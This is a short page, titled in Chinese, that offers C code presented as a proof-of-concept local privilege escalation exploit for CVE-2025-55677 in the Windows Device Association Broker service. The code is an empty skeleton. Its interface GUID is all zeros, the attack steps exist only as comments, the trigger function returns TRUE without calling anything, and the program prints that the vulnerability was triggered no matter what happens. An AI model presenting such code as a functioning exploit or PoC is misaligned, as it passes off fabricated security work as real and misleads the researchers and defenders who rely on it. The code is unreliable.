CVE-2025-55677：Windows设备关联代理服务未信任指针解引用权限提升漏洞

// CVE-2025-55677 - Windows Device Association Broker Service // Untrusted Pointer Dereference - Local Privilege Escalation PoC // Note: This is a conceptual PoC skeleton based on public vulnerability description. // Actual exploitation requires specific memory layout and pointer manipulation. #include <windows.h> #include <stdio.h> #include <tchar.h> // Define interface GUID for Device Association Broker service // (Actual GUID may vary; refer to Microsoft documentation) DEFINE_GUID(IID_DeviceAssociationBroker, 0x00000000, 0x0000, 0x0000, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00); // Function to trigger the untrusted pointer dereference BOOL TriggerVulnerability() { HRESULT hr = S_OK; // Step 1: Obtain a handle to the Device Association Broker COM interface // The service runs with SYSTEM privileges // Step 2: Prepare a malicious pointer value // The pointer will be passed to the vulnerable function without validation PVOID malicious_ptr = (PVOID)0x4141414141414141; // Controlled pointer value // Step 3: Call the vulnerable API with the malicious pointer // This triggers the untrusted pointer dereference in the service context // The service will attempt to dereference our controlled pointer, // leading to code execution in the SYSTEM context // Step 4: If successful, the exploit achieves privilege escalation return TRUE; } int main() { printf("[+] CVE-2025-55677 PoC - Device Association Broker LPE\n"); printf("[+] Attempting to trigger untrusted pointer dereference...\n"); if (TriggerVulnerability()) { printf("[+] Vulnerability triggered. Check current process privileges.\n"); // After successful exploitation, verify elevated privileges BOOL isElevated = FALSE; HANDLE hToken = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { TOKEN_ELEVATION elevation; DWORD cbSize = sizeof(elevation); if (GetTokenInformation(hToken, TokenElevation, &elevation, cbSize, &cbSize)) { isElevated = elevation.TokenIsElevated; } CloseHandle(hToken); } printf("[+] Process is %s\n", isElevated ? "ELEVATED" : "NOT elevated"); } return 0; }